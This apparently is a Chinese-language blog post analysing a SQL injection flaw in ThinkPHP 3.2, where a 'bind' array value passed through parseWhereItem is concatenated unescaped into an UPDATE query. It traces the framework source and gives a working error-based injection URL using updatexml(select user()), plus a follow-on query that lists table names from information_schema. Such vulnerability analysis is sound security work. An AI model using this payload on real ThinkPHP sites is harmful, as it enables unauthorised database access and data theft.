前言

最近敏信科技爆出了Thinkphp3.2版本的一个注入漏洞,要知道Thinkphp是在国内使用率很高的一个php轻量级框架,于是小编决定一探究竟。

案例

此处为更新操作,根据用户名修改地址。

<?php
namespace Home\Controller;
use Think\Controller;

class UserController extends Controller
{
    public function update(){
        $condition['userName'] = I('userName');
        $data['address'] = I('address');
        $res = M('user')->where($condition)->save($data);//更新地址
    }
}

请求地址:

http://127.0.0.1/thinkphp/User/update??address=sichuan&userName[0]=bind&userName[1]=0 and (updatexml(1,concat(0x7e,(select user()),0x7e),1))

结果:
I13W$)_P0W3MR$U)~1`7(8Q.png

漏洞分析

M('user')->where($condition)->save($data);
我们可以先从save($data)入手,跟踪save方法发现会调用Driver.class.php下的update方法。
ThinkPHP\Library\Think\Db\Driver.class.php:

  public function update($data,$options) {
    $this->model  =   $options['model'];
    $this->parseBind(!empty($options['bind'])?$options['bind']:array());
    $table  =   $this->parseTable($options['table']);
    $sql   = 'UPDATE ' . $table . $this->parseSet($data);
    if(strpos($table,',')){// 多表更新支持JOIN操作
        $sql .= $this->parseJoin(!empty($options['join'])?$options['join']:'');
    }
    $sql .= $this->parseWhere(!empty($options['where'])?$options['where']:'');
    if(!strpos($table,',')){
        //  单表更新支持order和lmit
        $sql   .=  $this->parseOrder(!empty($options['order'])?$options['order']:'')
            .$this->parseLimit(!empty($options['limit'])?$options['limit']:'');
    }
    $sql .=   $this->parseComment(!empty($options['comment'])?$options['comment']:'');
    return $this->execute($sql,!empty($options['fetch_sql']) ? true : false);
}

可以看出sql语句的拼接有两句:

  $sql   = 'UPDATE ' . $table . $this->parseSet($data);//拼接更新的数据
  $sql .= $this->parseWhere(!empty($options['where'])?$options['where']:'');//拼接更新条件

问题就出在这里的parseSet和parseWhere。我们继续跟踪这两个方法。
parseSet方法:

 protected function parseSet($data) {
    foreach ($data as $key=>$val){
        if(is_array($val) && 'exp' == $val[0]){
            $set[]  =   $this->parseKey($key).'='.$val[1];
        }elseif(is_null($val)){
            $set[]  =   $this->parseKey($key).'=NULL';
        }elseif(is_scalar($val)) {// 过滤非标量数据
            if(0===strpos($val,':') && in_array($val,array_keys($this->bind)) ){
                $set[]  =   $this->parseKey($key).'='.$this->escapeString($val);
            }else{
                $name   =   count($this->bind);
                $set[]  =   $this->parseKey($key).'=:'.$name;
                $this->bindParam($name,$val);
            }
        }
    }
    return ' SET '.implode(',',$set);
}

其中这三行绑定了一个键为0的参数:

                $name   =   count($this->bind);
                $set[]  =   $this->parseKey($key).'=:'.$name;
                $this->bindParam($name,$val);

这里parseSet方法返回值为:

 SET `address`=:0

此时sql的值为

UPDATE `yb_user` SET `address`=:0

然后执行

 $sql .= $this->parseWhere(!empty($options['where'])?$options['where']:'');//拼接更新条件

我们进入parseWhere方法:

 protected function parseWhere($where) {
    $whereStr = '';
    if(is_string($where)) {
        // 直接使用字符串条件
        $whereStr = $where;
    }else{ // 使用数组表达式
        $operate  = isset($where['_logic'])?strtoupper($where['_logic']):'';
        if(in_array($operate,array('AND','OR','XOR'))){
            // 定义逻辑运算规则 例如 OR XOR AND NOT
            $operate    =   ' '.$operate.' ';
            unset($where['_logic']);
        }else{
            // 默认进行 AND 运算
            $operate    =   ' AND ';
        }
        foreach ($where as $key=>$val){
            if(is_numeric($key)){
                $key  = '_complex';
            }
            if(0===strpos($key,'_')) {
                // 解析特殊条件表达式
                $whereStr   .= $this->parseThinkWhere($key,$val);
            }else{
                // 查询字段的安全过滤
                // if(!preg_match('/^[A-Z_\|\&\-.a-z0-9\(\)\,]+$/',trim($key))){
                //     E(L('_EXPRESS_ERROR_').':'.$key);
                // }
                // 多条件支持
                $multi  = is_array($val) &&  isset($val['_multi']);
                $key    = trim($key);
                if(strpos($key,'|')) { // 支持 name|title|nickname 方式定义查询字段
                    $array =  explode('|',$key);
                    $str   =  array();
                    foreach ($array as $m=>$k){
                        $v =  $multi?$val[$m]:$val;
                        $str[]   = $this->parseWhereItem($this->parseKey($k),$v);
                    }
                    $whereStr .= '( '.implode(' OR ',$str).' )';
                }elseif(strpos($key,'&')){
                    $array =  explode('&',$key);
                    $str   =  array();
                    foreach ($array as $m=>$k){
                        $v =  $multi?$val[$m]:$val;
                        $str[]   = '('.$this->parseWhereItem($this->parseKey($k),$v).')';
                    }
                    $whereStr .= '( '.implode(' AND ',$str).' )';
                }else{
                    $whereStr .= $this->parseWhereItem($this->parseKey($key),$val);
                }
            }
            $whereStr .= $operate;
        }
        $whereStr = substr($whereStr,0,-strlen($operate));
    }
    return empty($whereStr)?'':' WHERE '.$whereStr;
}

程序会执行到

else{
       $whereStr .= $this->parseWhereItem($this->parseKey($key),$val);
   }

跟进parseWhereItem方法

 protected function parseWhereItem($key,$val) {
    $whereStr = '';
    if(is_array($val)) {
        if(is_string($val[0])) {
            $exp    =    strtolower($val[0]);
            if(preg_match('/^(eq|neq|gt|egt|lt|elt)$/',$exp)) { // 比较运算
                $whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]);
            }elseif(preg_match('/^(notlike|like)$/',$exp)){// 模糊查找
                if(is_array($val[1])) {
                    $likeLogic  =   isset($val[2])?strtoupper($val[2]):'OR';
                    if(in_array($likeLogic,array('AND','OR','XOR'))){
                        $like       =   array();
                        foreach ($val[1] as $item){
                            $like[] = $key.' '.$this->exp[$exp].' '.$this->parseValue($item);
                        }
                        $whereStr .= '('.implode(' '.$likeLogic.' ',$like).')';                          
                    }
                }else{
                    $whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]);
                }
            }elseif('bind' == $exp ){ // 使用表达式
                $whereStr .= $key.' = :'.$val[1];
            }elseif('exp' == $exp ){ // 使用表达式
                $whereStr .= $key.' '.$val[1];
            }elseif(preg_match('/^(notin|not in|in)$/',$exp)){ // IN 运算
                if(isset($val[2]) && 'exp'==$val[2]) {
                    $whereStr .= $key.' '.$this->exp[$exp].' '.$val[1];
                }else{

这里只复制了parseWhereItem方法前部分代码,parseWhereItem方法参数为

$key="userName",$val = {"bind","0 and (updatexml(1,concat(0x7e,(select user()),0x7e),1))"}

可以看出来如果$val是一个数组的话,并且第一个元素为bind,那么直接就进行了拼接操作

            elseif('bind' == $exp ){ // 使用表达式
                $whereStr .= $key.' = :'.$val[1];
            }

最后返回

`userName` = :0 and (updatexml(1,concat(0x7e,(select user()),0x7e),1))

parseWhere方法则返回

WHERE `userName` = :0 and (updatexml(1,concat(0x7e,(select user()),0x7e),1))

于是sql拼接为

UPDATE `yb_user` SET `address`=:0 WHERE `userName` = :0 and (updatexml(1,concat(0x7e,(select         user()),0x7e),1))

这里的sql是PDO的预处理语句,最后进入execute方法执行语句,并且绑定参数this->bind。最终执行的sql语句为:

UPDATE `yb_user` SET `address`='sichuanchengdu' WHERE `userName` = 'sichuanchengdu' and (updatexml(1,concat(0x7e,(select user()),0x7e),1))

这里采用mysql报错注入。
payload如下:

http://127.0.0.1/thinkphp/User/update??address=sichuan&userName[0]=bind&userName[1]=0 and (updatexml(1,concat(0x7e,(select user()),0x7e),1))

当然这里可以修改select user()语句换成其他想要查询的语句,比如:

select concat(table_name) FROM information_schema.tables WHERE table_schema=database() limit 0,1